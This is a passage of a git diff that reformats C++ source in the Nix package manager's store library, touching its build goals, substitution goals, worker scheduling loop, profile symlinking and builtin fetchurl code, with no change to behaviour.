drv, OutputsSpec::All{}, buildMode); #else std::shared_ptr goal; throw UnimplementedError("Building derivations not yet implemented on windows."); @@ -90,23 +89,24 @@ BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivat try { worker.run(Goals{goal}); - return goal->getBuildResult(DerivedPath::Built { - .drvPath = makeConstantStorePathRef(drvPath), - .outputs = OutputsSpec::All {}, - }); + return goal->getBuildResult( + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::All{}, + }); } catch (Error & e) { - return BuildResult { + return BuildResult{ .status = BuildResult::MiscFailure, .errorMsg = e.msg(), }; }; } - void Store::ensurePath(const StorePath & path) { /* If the path is already valid, we're done. */ - if (isValidPath(path)) return; + if (isValidPath(path)) + return; Worker worker(*this, *this); GoalPtr goal = worker.makePathSubstitutionGoal(path); @@ -119,11 +119,11 @@ void Store::ensurePath(const StorePath & path) goal->ex->withExitStatus(worker.failingExitStatus()); throw std::move(*goal->ex); } else - throw Error(worker.failingExitStatus(), "path '%s' does not exist and cannot be created", printStorePath(path)); + throw Error( + worker.failingExitStatus(), "path '%s' does not exist and cannot be created", printStorePath(path)); } } - void Store::repairPath(const StorePath & path) { Worker worker(*this, *this); @@ -138,11 +138,13 @@ void Store::repairPath(const StorePath & path) auto info = queryPathInfo(path); if (info->deriver && isValidPath(*info->deriver)) { goals.clear(); - goals.insert(worker.makeGoal(DerivedPath::Built { - .drvPath = makeConstantStorePathRef(*info->deriver), - // FIXME: Should just build the specific output we need. - .outputs = OutputsSpec::All { }, - }, bmRepair)); + goals.insert(worker.makeGoal( + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(*info->deriver), + // FIXME: Should just build the specific output we need. + .outputs = OutputsSpec::All{}, + }, + bmRepair)); worker.run(goals); } else throw Error(worker.failingExitStatus(), "cannot repair path '%s'", printStorePath(path)); diff --git a/src/libstore/build/goal.cc b/src/libstore/build/goal.cc index d2feb34c7..2cd48f816 100644 --- a/src/libstore/build/goal.cc +++ b/src/libstore/build/goal.cc @@ -8,28 +8,33 @@ using promise_type = nix::Goal::promise_type; using handle_type = nix::Goal::handle_type; using Suspend = nix::Goal::Suspend; -Co::Co(Co&& rhs) { +Co::Co(Co && rhs) +{ this->handle = rhs.handle; rhs.handle = nullptr; } -void Co::operator=(Co&& rhs) { +void Co::operator=(Co && rhs) +{ this->handle = rhs.handle; rhs.handle = nullptr; } -Co::~Co() { +Co::~Co() +{ if (handle) { handle.promise().alive = false; handle.destroy(); } } -Co promise_type::get_return_object() { +Co promise_type::get_return_object() +{ auto handle = handle_type::from_promise(*this); return Co{handle}; }; -std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h) noexcept { - auto& p = h.promise(); +std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h) noexcept +{ + auto & p = h.promise(); auto goal = p.goal; assert(goal); goal->trace("in final_awaiter"); @@ -39,9 +44,9 @@ std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h // We still have a continuation, i.e. work to do. // We assert that the goal is still busy. assert(goal->exitCode == ecBusy); - assert(goal->top_co); // Goal must have an active coroutine. + assert(goal->top_co); // Goal must have an active coroutine. assert(goal->top_co->handle == h); // The active coroutine must be us. - assert(p.alive); // We must not have been destructed. + assert(p.alive); // We must not have been destructed. // we move continuation to the top, // note: previous top_co is actually h, so by moving into it, @@ -68,7 +73,8 @@ std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h } } -void promise_type::return_value(Co&& next) { +void promise_type::return_value(Co && next) +{ goal->trace("return_value(Co&&)"); // Save old continuation. auto old_continuation = std::move(continuation); @@ -82,28 +88,30 @@ void promise_type::return_value(Co&& next) { continuation->handle.promise().continuation = std::move(old_continuation); } -std::coroutine_handle<> nix::Goal::Co::await_suspend(handle_type caller) { +std::coroutine_handle<> nix::Goal::Co::await_suspend(handle_type caller) +{ assert(handle); // we must be a valid coroutine - auto& p = handle.promise(); + auto & p = handle.promise(); assert(!p.continuation); // we must have no continuation - assert(!p.goal); // we must not have a goal yet + assert(!p.goal); // we must not have a goal yet auto goal = caller.promise().goal; assert(goal); p.goal = goal; p.continuation = std::move(goal->top_co); // we set our continuation to be top_co (i.e. caller) - goal->top_co = std::move(*this); // we set top_co to ourselves, don't use this anymore after this! - return p.goal->top_co->handle; // we execute ourselves + goal->top_co = std::move(*this); // we set top_co to ourselves, don't use this anymore after this! + return p.goal->top_co->handle; // we execute ourselves } -bool CompareGoalPtrs::operator() (const GoalPtr & a, const GoalPtr & b) const { +bool CompareGoalPtrs::operator()(const GoalPtr & a, const GoalPtr & b) const +{ std::string s1 = a->key(); std::string s2 = b->key(); return s1 < s2; } - -BuildResult Goal::getBuildResult(const DerivedPath & req) const { - BuildResult res { buildResult }; +BuildResult Goal::getBuildResult(const DerivedPath & req) const +{ + BuildResult res{buildResult}; if (auto pbp = std::get_if(&req)) { auto & bp = *pbp; @@ -124,7 +132,6 @@ BuildResult Goal::getBuildResult(const DerivedPath & req) const { return res; } - void addToWeakGoals(WeakGoals & goals, GoalPtr p) { if (goals.find(p) != goals.end()) @@ -170,11 +177,14 @@ Goal::Done Goal::amDone(ExitCode result, std::optional ex) goal->trace(fmt("waitee '%s' done; %d left", name, goal->waitees.size())); - if (result == ecFailed || result == ecNoSubstituters || result == ecIncompleteClosure) ++goal->nrFailed; + if (result == ecFailed || result == ecNoSubstituters || result == ecIncompleteClosure) + ++goal->nrFailed; - if (result == ecNoSubstituters) ++goal->nrNoSubstituters; + if (result == ecNoSubstituters) + ++goal->nrNoSubstituters; - if (result == ecIncompleteClosure) ++goal->nrIncompleteClosure; + if (result == ecIncompleteClosure) + ++goal->nrIncompleteClosure; if (goal->waitees.empty()) { worker.wakeUp(goal); @@ -203,7 +213,6 @@ Goal::Done Goal::amDone(ExitCode result, std::optional ex) return Done{}; } - void Goal::trace(std::string_view s) { debug("%1%: %2%", name, s); @@ -220,19 +229,22 @@ void Goal::work() assert(top_co || exitCode != ecBusy); } -Goal::Co Goal::yield() { +Goal::Co Goal::yield() +{ worker.wakeUp(shared_from_this()); co_await Suspend{}; co_return Return{}; } -Goal::Co Goal::waitForAWhile() { +Goal::Co Goal::waitForAWhile() +{ worker.waitForAWhile(shared_from_this()); co_await Suspend{}; co_return Return{}; } -Goal::Co Goal::waitForBuildSlot() { +Goal::Co Goal::waitForBuildSlot() +{ worker.waitForBuildSlot(shared_from_this()); co_await Suspend{}; co_return Return{}; diff --git a/src/libstore/build/substitution-goal.cc b/src/libstore/build/substitution-goal.cc index b1313808e..ad88b03c6 100644 --- a/src/libstore/build/substitution-goal.cc +++ b/src/libstore/build/substitution-goal.cc @@ -7,7 +7,8 @@ namespace nix { -PathSubstitutionGoal::PathSubstitutionGoal(const StorePath & storePath, Worker & worker, RepairFlag repair, std::optional ca) +PathSubstitutionGoal::PathSubstitutionGoal( + const StorePath & storePath, Worker & worker, RepairFlag repair, std::optional ca) : Goal(worker) , storePath(storePath) , repair(repair) @@ -18,17 +19,12 @@ PathSubstitutionGoal::PathSubstitutionGoal(const StorePath & storePath, Worker & maintainExpectedSubstitutions = std::make_unique>(worker.expectedSubstitutions); } - PathSubstitutionGoal::~PathSubstitutionGoal() { cleanup(); } - -Goal::Done PathSubstitutionGoal::done( - ExitCode result, - BuildResult::Status status, - std::optional errorMsg) +Goal::Done PathSubstitutionGoal::done(ExitCode result, BuildResult::Status status, std::optional errorMsg) { buildResult.status = status; if (errorMsg) { @@ -38,7 +34,6 @@ Goal::Done PathSubstitutionGoal::done( return amDone(result); } - Goal::Co PathSubstitutionGoal::init() { trace("init"); @@ -51,7 +46,8 @@ Goal::Co PathSubstitutionGoal::init() } if (settings.readOnlyMode) - throw Error("cannot substitute path '%s' - no write access to the Nix store", worker.store.printStorePath(storePath)); + throw Error( + "cannot substitute path '%s' - no write access to the Nix store", worker.store.printStorePath(storePath)); auto subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); @@ -71,8 +67,7 @@ Goal::Co PathSubstitutionGoal::init() if (ca) { subPath = sub->makeFixedOutputPathFromCA( - std::string { storePath.name() }, - ContentAddressWithReferences::withoutRefs(*ca)); + std::string{storePath.name()}, ContentAddressWithReferences::withoutRefs(*ca)); if (sub->storeDir == worker.store.storeDir) assert(subPath == storePath); } else if (sub->storeDir != worker.store.storeDir) { @@ -85,13 +80,16 @@ Goal::Co PathSubstitutionGoal::init() } catch (InvalidPath &) { continue; } catch (SubstituterDisabled & e) { - if (settings.tryFallback) continue; - else throw e; + if (settings.tryFallback) + continue; + else + throw e; } catch (Error & e) { if (settings.tryFallback) { logError(e.info()); continue; - } else throw e; + } else + throw e; } if (info->path != storePath) { @@ -100,8 +98,11 @@ Goal::Co PathSubstitutionGoal::init() info2->path = storePath; info = info2; } else { - printError("asked '%s' for '%s' but got '%s'", - sub->getUri(), worker.store.printStorePath(storePath), sub->printStorePath(info->path)); + printError( + "asked '%s' for '%s' but got '%s'", + sub->getUri(), + worker.store.printStorePath(storePath), + sub->printStorePath(info->path)); continue; } } @@ -113,18 +114,19 @@ Goal::Co PathSubstitutionGoal::init() maintainExpectedDownload = narInfo && narInfo->fileSize - ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) - : nullptr; + ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) + : nullptr; worker.updateProgress(); /* Bail out early if this substituter lacks a valid signature. LocalStore::addToStore() also checks for this, but only after we've downloaded the path. */ - if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) - { - warn("ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", - worker.store.printStorePath(storePath), sub->getUri()); + if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) { + warn( + "ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", + worker.store.printStorePath(storePath), + sub->getUri()); continue; } @@ -158,11 +160,12 @@ Goal::Co PathSubstitutionGoal::init() co_return done( substituterFailed ? ecFailed : ecNoSubstituters, BuildResult::NoSubstituters, - fmt("path '%s' is required, but there is no substituter that can build it", worker.store.printStorePath(storePath))); + fmt("path '%s' is required, but there is no substituter that can build it", + worker.store.printStorePath(storePath))); } - -Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed) +Goal::Co PathSubstitutionGoal::tryToRun( + StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed) { trace("all references realised"); @@ -174,11 +177,13 @@ Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, } for (auto & i : info->references) - /* ignore self-references */ + /* ignore self-references */ if (i != storePath) { if (!worker.store.isValidPath(i)) { - throw Error("reference '%s' of path '%s' is not a valid path", - worker.store.printStorePath(i), worker.store.printStorePath(storePath)); + throw Error( + "reference '%s' of path '%s' is not a valid path", + worker.store.printStorePath(i), + worker.store.printStorePath(storePath)); } } @@ -214,8 +219,7 @@ Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, Activity act(*logger, actSubstitute, Logger::Fields{worker.store.printStorePath(storePath), sub->getUri()}); PushActivity pact(act.id); - copyStorePath(*sub, worker.store, - subPath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); + copyStorePath(*sub, worker.store, subPath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); promise.set_value(); } catch (...) { @@ -223,13 +227,17 @@ Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, } }); - worker.childStarted(shared_from_this(), { + worker.childStarted( + shared_from_this(), + { #ifndef _WIN32 - outPipe.readSide.get() + outPipe.readSide.get() #else - &outPipe + &outPipe #endif - }, true, false); + }, + true, + false); co_await Suspend{}; @@ -281,13 +289,11 @@ Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, co_return done(ecSuccess, BuildResult::Substituted); } - void PathSubstitutionGoal::handleEOF(Descriptor fd) { worker.wakeUp(shared_from_this()); } - void PathSubstitutionGoal::cleanup() { try { @@ -303,5 +309,4 @@ void PathSubstitutionGoal::cleanup() } } - } diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index 66c31d39e..75d372c50 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -28,7 +28,6 @@ Worker::Worker(Store & store, Store & evalStore) checkMismatch = false; } - Worker::~Worker() { /* Explicitly get rid of all strong pointers now. After this all @@ -42,7 +41,6 @@ Worker::~Worker() assert(expectedNarSize == 0); } - std::shared_ptr Worker::makeDerivationGoalCommon( const StorePath & drvPath, const OutputsSpec & wantedOutputs, @@ -60,37 +58,36 @@ std::shared_ptr Worker::makeDerivationGoalCommon( return goal; } - -std::shared_ptr Worker::makeDerivationGoal(const StorePath & drvPath, - const OutputsSpec & wantedOutputs, BuildMode buildMode) +std::shared_ptr +Worker::makeDerivationGoal(const StorePath & drvPath, const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { return #ifndef _WIN32 // TODO Enable building on Windows dynamic_cast(&store) - ? makeLocalDerivationGoal(drvPath, wantedOutputs, *this, buildMode) - : + ? makeLocalDerivationGoal(drvPath, wantedOutputs, *this, buildMode) + : #endif - std::make_shared(drvPath, wantedOutputs, *this, buildMode); + std::make_shared(drvPath, wantedOutputs, *this, buildMode); }); } -std::shared_ptr Worker::makeBasicDerivationGoal(const StorePath & drvPath, - const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode) +std::shared_ptr Worker::makeBasicDerivationGoal( + const StorePath & drvPath, const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { return #ifndef _WIN32 // TODO Enable building on Windows dynamic_cast(&store) - ? makeLocalDerivationGoal(drvPath, drv, wantedOutputs, *this, buildMode) - : + ? makeLocalDerivationGoal(drvPath, drv, wantedOutputs, *this, buildMode) + : #endif - std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); + std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); }); } - -std::shared_ptr Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional ca) +std::shared_ptr +Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional ca) { std::weak_ptr & goal_weak = substitutionGoals[path]; auto goal = goal_weak.lock(); // FIXME @@ -102,8 +99,8 @@ std::shared_ptr Worker::makePathSubstitutionGoal(const Sto return goal; } - -std::shared_ptr Worker::makeDrvOutputSubstitutionGoal(const DrvOutput& id, RepairFlag repair, std::optional ca) +std::shared_ptr +Worker::makeDrvOutputSubstitutionGoal(const DrvOutput & id, RepairFlag repair, std::optional ca) { std::weak_ptr & goal_weak = drvOutputSubstitutionGoals[id]; auto goal = goal_weak.lock(); // FIXME @@ -115,44 +112,42 @@ std::shared_ptr Worker::makeDrvOutputSubstitutionGoal return goal; } - GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode) { - return std::visit(overloaded { - [&](const DerivedPath::Built & bfd) -> GoalPtr { - if (auto bop = std::get_if(&*bfd.drvPath)) - return makeDerivationGoal(bop->path, bfd.outputs, buildMode); - else - throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented."); + return std::visit( + overloaded{ + [&](const DerivedPath::Built & bfd) -> GoalPtr { + if (auto bop = std::get_if(&*bfd.drvPath)) + return makeDerivationGoal(bop->path, bfd.outputs, buildMode); + else + throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented."); + }, + [&](const DerivedPath::Opaque & bo) -> GoalPtr { + return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair); + }, }, - [&](const DerivedPath::Opaque & bo) -> GoalPtr { - return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair); - }, - }, req.raw()); + req.raw()); } - template static void removeGoal(std::shared_ptr goal, std::map> & goalMap) { /* !!! inefficient */ - for (auto i = goalMap.begin(); - i != goalMap.end(); ) + for (auto i = goalMap.begin(); i != goalMap.end();) if (i->second.lock() == goal) { - auto j = i; ++j; + auto j = i; + ++j; goalMap.erase(i); i = j; - } - else ++i; + } else + ++i; } - void Worker::removeGoal(GoalPtr goal) { if (auto drvGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(drvGoal, derivationGoals); - else - if (auto subGoal = std::dynamic_pointer_cast(goal)) + else if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, substitutionGoals); else if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, drvOutputSubstitutionGoals); @@ -170,34 +165,31 @@ void Worker::removeGoal(GoalPtr goal) /* Wake up goals waiting for any goal to finish. */ for (auto & i : waitingForAnyGoal) { GoalPtr goal = i.lock(); - if (goal) wakeUp(goal); + if (goal) + wakeUp(goal); } waitingForAnyGoal.clear(); } - void Worker::wakeUp(GoalPtr goal) { goal->trace("woken up"); addToWeakGoals(awake, goal); } - size_t Worker::getNrLocalBuilds() { return nrLocalBuilds; } - size_t Worker::getNrSubstitutions() { return nrSubstitutions; } - -void Worker::childStarted(GoalPtr goal, const std::set & channels, - bool inBuildSlot, bool respectTimeouts) +void Worker::childStarted( + GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts) { Child child; child.goal = goal; @@ -221,12 +213,11 @@ void Worker::childStarted(GoalPtr goal, const std::setinBuildSlot) { switch (goal->jobCategory()) { @@ -250,40 +241,37 @@ void Worker::childTerminated(Goal * goal, bool wakeSleepers) /* Wake up goals waiting for a build slot. */ for (auto & j : wantingToBuild) { GoalPtr goal = j.lock(); - if (goal) wakeUp(goal); + if (goal) + wakeUp(goal); } wantingToBuild.clear(); } } - void Worker::waitForBuildSlot(GoalPtr goal) { goal->trace("wait for build slot"); bool isSubstitutionGoal = goal->jobCategory() == JobCategory::Substitution; - if ((!isSubstitutionGoal && getNrLocalBuilds() < settings.maxBuildJobs) || - (isSubstitutionGoal && getNrSubstitutions() < settings.maxSubstitutionJobs)) + if ((!isSubstitutionGoal && getNrLocalBuilds() < settings.maxBuildJobs) + || (isSubstitutionGoal && getNrSubstitutions() < settings.maxSubstitutionJobs)) wakeUp(goal); /* we can do it right away */ else addToWeakGoals(wantingToBuild, goal); } - void Worker::waitForAnyGoal(GoalPtr goal) { debug("wait for any goal"); addToWeakGoals(waitingForAnyGoal, goal); } - void Worker::waitForAWhile(GoalPtr goal) { debug("wait for a while"); addToWeakGoals(waitingForAWhile, goal); } - void Worker::run(const Goals & _topGoals) { std::vector topPaths; @@ -291,12 +279,12 @@ void Worker::run(const Goals & _topGoals) for (auto & i : _topGoals) { topGoals.insert(i); if (auto goal = dynamic_cast(i.get())) { - topPaths.push_back(DerivedPath::Built { - .drvPath = makeConstantStorePathRef(goal->drvPath), - .outputs = goal->wantedOutputs, - }); - } else - if (auto goal = dynamic_cast(i.get())) { + topPaths.push_back( + DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(goal->drvPath), + .outputs = goal->wantedOutputs, + }); + } else if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Opaque{goal->storePath}); } } @@ -322,42 +310,44 @@ void Worker::run(const Goals & _topGoals) Goals awake2; for (auto & i : awake) { GoalPtr goal = i.lock(); - if (goal) awake2.insert(goal); + if (goal) + awake2.insert(goal); } awake.clear(); for (auto & goal : awake2) { checkInterrupt(); goal->work(); - if (topGoals.empty()) break; // stuff may have been cancelled + if (topGoals.empty()) + break; // stuff may have been cancelled } } - if (topGoals.empty()) break; + if (topGoals.empty()) + break; /* Wait for input. */ if (!children.empty() || !waitingForAWhile.empty()) waitForInput(); else if (awake.empty() && 0U == settings.maxBuildJobs) { if (getMachines().empty()) - throw Error( + throw Error( R"( Unable to start any build; either increase '--max-jobs' or enable remote builds. For more information run 'man nix.conf' and search for '/machines'. - )" - ); + )"); else - throw Error( + throw Error( R"( Unable to start any build; remote machines may not have all required system features. For more information run 'man nix.conf' and search for '/machines'. - )" - ); + )"); - } else assert(!awake.empty()); + } else + assert(!awake.empty()); } /* If --keep-going is not set, it's possible that the main goal @@ -390,7 +380,8 @@ void Worker::waitForInput() // Periodicallty wake up to see if we need to run the garbage collector. nearest = before + std::chrono::seconds(10); for (auto & i : children) { - if (!i.respectTimeouts) continue; + if (!i.respectTimeouts) + continue; if (0 != settings.maxSilentTime) nearest = std::min(nearest, i.lastOutput + std::chrono::seconds(settings.maxSilentTime)); if (0 != settings.buildTimeout) @@ -405,11 +396,15 @@ void Worker::waitForInput() up after a few seconds at most. */ if (!waitingForAWhile.empty()) { useTimeout = true; - if (lastWokenUp == steady_time_point::min() || lastWokenUp > before) lastWokenUp = before; - timeout = std::max(1L, + if (lastWokenUp == steady_time_point::min() || lastWokenUp > before) + lastWokenUp = before; + timeout = std::max( + 1L, (long) std::chrono::duration_cast( - lastWokenUp + std::chrono::seconds(settings.pollInterval) - before).count()); - } else lastWokenUp = steady_time_point::min(); + lastWokenUp + std::chrono::seconds(settings.pollInterval) - before) + .count()); + } else + lastWokenUp = steady_time_point::min(); if (useTimeout) vomit("sleeping %d seconds", timeout); @@ -422,7 +417,7 @@ void Worker::waitForInput() includes EOF. */ for (auto & i : children) { for (auto & j : i.channels) { - state.pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); + state.pollStatus.push_back((struct pollfd) {.fd = j, .events = POLLIN}); state.fdToPollStatus[j] = state.pollStatus.size() - 1; } } @@ -432,7 +427,7 @@ void Worker::waitForInput() #ifdef _WIN32 ioport.get(), #endif - useTimeout ? (std::optional { timeout * 1000 }) : std::nullopt); + useTimeout ? (std::optional{timeout * 1000}) : std::nullopt); auto after = steady_time_point::clock::now(); @@ -450,8 +445,7 @@ void Worker::waitForInput() state.iterate( j->channels, [&](Descriptor k, std::string_view data) { - printMsg(lvlVomit, "%1%: read %2% bytes", - goal->getName(), data.size()); + printMsg(lvlVomit, "%1%: read %2% bytes", goal->getName(), data.size()); j->lastOutput = after; goal->handleChildOutput(k, data); }, @@ -460,24 +454,16 @@ void Worker::waitForInput() goal->handleEOF(k); }); - if (goal->exitCode == Goal::ecBusy && - 0 != settings.maxSilentTime && - j->respectTimeouts && - after - j->lastOutput >= std::chrono::seconds(settings.maxSilentTime)) - { - goal->timedOut(Error( - "%1% timed out after %2% seconds of silence", - goal->getName(), settings.maxSilentTime)); + if (goal->exitCode == Goal::ecBusy && 0 != settings.maxSilentTime && j->respectTimeouts + && after - j->lastOutput >= std::chrono::seconds(settings.maxSilentTime)) { + goal->timedOut( + Error("%1% timed out after %2% seconds of silence", goal->getName(), settings.maxSilentTime)); } - else if (goal->exitCode == Goal::ecBusy && - 0 != settings.buildTimeout && - j->respectTimeouts && - after - j->timeStarted >= std::chrono::seconds(settings.buildTimeout)) - { - goal->timedOut(Error( - "%1% timed out after %2% seconds", - goal->getName(), settings.buildTimeout)); + else if ( + goal->exitCode == Goal::ecBusy && 0 != settings.buildTimeout && j->respectTimeouts + && after - j->timeStarted >= std::chrono::seconds(settings.buildTimeout)) { + goal->timedOut(Error("%1% timed out after %2% seconds", goal->getName(), settings.buildTimeout)); } } @@ -485,26 +471,26 @@ void Worker::waitForInput() lastWokenUp = after; for (auto & i : waitingForAWhile) { GoalPtr goal = i.lock(); - if (goal) wakeUp(goal); + if (goal) + wakeUp(goal); } waitingForAWhile.clear(); } } - unsigned int Worker::failingExitStatus() { // See API docs in header for explanation unsigned int mask = 0; bool buildFailure = permanentFailure || timedOut || hashMismatch; if (buildFailure) - mask |= 0x04; // 100 + mask |= 0x04; // 100 if (timedOut) - mask |= 0x01; // 101 + mask |= 0x01; // 101 if (hashMismatch) - mask |= 0x02; // 102 + mask |= 0x02; // 102 if (checkMismatch) { - mask |= 0x08; // 104 + mask |= 0x08; // 104 } if (mask) @@ -512,11 +498,11 @@ unsigned int Worker::failingExitStatus() return mask ? mask : 1; } - bool Worker::pathContentsGood(const StorePath & path) { auto i = pathContentsGoodCache.find(path); - if (i != pathContentsGoodCache.end()) return i->second; + if (i != pathContentsGoodCache.end()) + return i->second; printInfo("checking path '%s'...", store.printStorePath(path)); auto info = store.queryPathInfo(path); bool res; @@ -524,8 +510,10 @@ bool Worker::pathContentsGood(const StorePath & path) res = false; else { auto current = hashPath( - {store.getFSAccessor(), CanonPath(path.to_string())}, - FileIngestionMethod::NixArchive, info->narHash.algo).first; + {store.getFSAccessor(), CanonPath(path.to_string())}, + FileIngestionMethod::NixArchive, + info->narHash.algo) + .first; Hash nullHash(HashAlgorithm::SHA256); res = info->narHash == nullHash || info->narHash == current; } @@ -535,13 +523,11 @@ bool Worker::pathContentsGood(const StorePath & path) return res; } - void Worker::markContentsGood(const StorePath & path) { pathContentsGoodCache.insert_or_assign(path, true); } - GoalPtr upcast_goal(std::shared_ptr subGoal) { return subGoal; diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index c3b80bb0b..8087d3bf4 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -57,13 +57,9 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, * Python package brings its own * `$out/lib/pythonX.Y/site-packages/easy-install.pth'.) */ - if (hasSuffix(srcFile, "/propagated-build-inputs") || - hasSuffix(srcFile, "/nix-support") || - hasSuffix(srcFile, "/perllocal.pod") || - hasSuffix(srcFile, "/info/dir") || - hasSuffix(srcFile, "/log") || - hasSuffix(srcFile, "/manifest.nix") || - hasSuffix(srcFile, "/manifest.json")) + if (hasSuffix(srcFile, "/propagated-build-inputs") || hasSuffix(srcFile, "/nix-support") + || hasSuffix(srcFile, "/perllocal.pod") || hasSuffix(srcFile, "/info/dir") || hasSuffix(srcFile, "/log") + || hasSuffix(srcFile, "/manifest.nix") || hasSuffix(srcFile, "/manifest.json")) continue; else if (S_ISDIR(srcSt.st_mode)) { @@ -79,11 +75,14 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, throw Error("collision between '%1%' and non-directory '%2%'", srcFile, target); if (unlink(dstFile.c_str()) == -1) throw SysError("unlinking '%1%'", dstFile); - if (mkdir(dstFile.c_str() - #ifndef _WIN32 // TODO abstract mkdir perms for Windows - , 0755 - #endif - ) == -1) + if (mkdir( + dstFile.c_str() +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + , + 0755 +#endif + ) + == -1) throw SysError("creating directory '%1%'", dstFile); createLinks(state, target, dstFile, state.priorities[dstFile]); createLinks(state, srcFile, dstFile, priority); @@ -99,11 +98,7 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, if (S_ISLNK(dstSt.st_mode)) { auto prevPriority = state.priorities[dstFile]; if (prevPriority == priority) - throw BuildEnvFileConflictError( - readLink(dstFile), - srcFile, - priority - ); + throw BuildEnvFileConflictError(readLink(dstFile), srcFile, priority); if (prevPriority < priority) continue; if (unlink(dstFile.c_str()) == -1) @@ -126,16 +121,18 @@ void buildProfile(const Path & out, Packages && pkgs) std::set done, postponed; auto addPkg = [&](const Path & pkgDir, int priority) { - if (!done.insert(pkgDir).second) return; + if (!done.insert(pkgDir).second) + return; createLinks(state, pkgDir, out, priority); try { for (const auto & p : tokenizeString>( - readFile(pkgDir + "/nix-support/propagated-user-env-packages"), " \n")) + readFile(pkgDir + "/nix-support/propagated-user-env-packages"), " \n")) if (!done.count(p)) postponed.insert(p); } catch (SysError & e) { - if (e.errNo != ENOENT && e.errNo != ENOTDIR) throw; + if (e.errNo != ENOENT && e.errNo != ENOTDIR) + throw; } }; @@ -166,13 +163,12 @@ void buildProfile(const Path & out, Packages && pkgs) debug("created %d symlinks in user environment", state.symlinks); } -void builtinBuildenv( - const BasicDerivation & drv, - const std::map & outputs) +void builtinBuildenv(const BasicDerivation & drv, const std::map & outputs) { auto getAttr = [&](const std::string & name) { auto i = drv.env.find(name); - if (i == drv.env.end()) throw Error("attribute '%s' missing", name); + if (i == drv.env.end()) + throw Error("attribute '%s' missing", name); return i->second; }; @@ -192,7 +188,7 @@ void builtinBuildenv( const int priority = stoi(*itemIt++); const size_t outputs = stoul(*itemIt++); - for (size_t n {0}; n < outputs; n++) { + for (size_t n{0}; n < outputs; n++) { pkgs.emplace_back(std::move(*itemIt++), active, priority); } } diff --git a/src/libstore/builtins/fetchurl.cc b/src/libstore/builtins/fetchurl.cc index 82f268d80..cc753f222 100644 --- a/src/libstore/builtins/fetchurl.cc +++ b/src/libstore/builtins/fetchurl.cc @@ -39,14 +39,11 @@ void builtinFetchurl( auto fileTransfer = makeFileTransfer(); auto fetch = [&](const std::string & url) { - auto source = sinkToSource([&](Sink & sink) { - FileTransferRequest request(url); request.decompress = false; - auto decompressor = makeDecompressionSink( - unpack && hasSuffix(mainUrl, ".xz") ? "xz" : "none", sink); + auto decompressor = makeDecompressionSink(unpack && hasSuffix(mainUrl, ".xz") ? "xz" : "none", sink); fileTransfer->download(std::move(request), *decompressor); decompressor->finish(); }); @@ -68,8 +65,11 @@ void builtinFetchurl( if (dof && dof->ca.method.getFileIngestionMethod() == FileIngestionMethod::Flat) for (auto hashedMirror : settings.hashedMirrors.get()) try { - if (!hasSuffix(hashedMirror, "/")) hashedMirror += '/'; - fetch(hashedMirror + printHashAlgo(dof->ca.hash.algo) + "/" + dof->ca.hash.to_string(HashFormat::Base16, false)); + if (!hasSuffix(hashedMirror, "/")) + hashedMirror += '/'; + fetch( + hashedMirror + printHashAlgo(dof->ca.hash.algo) + "/" + + dof->ca.hash.to_string(HashFormat::Base16, false)); return; } catch (Error & e) { debug(e.what()); diff --git a/src/libstore/builtins/unpack-channel.cc b/src/libstore/builtins/unpack-channel.cc index 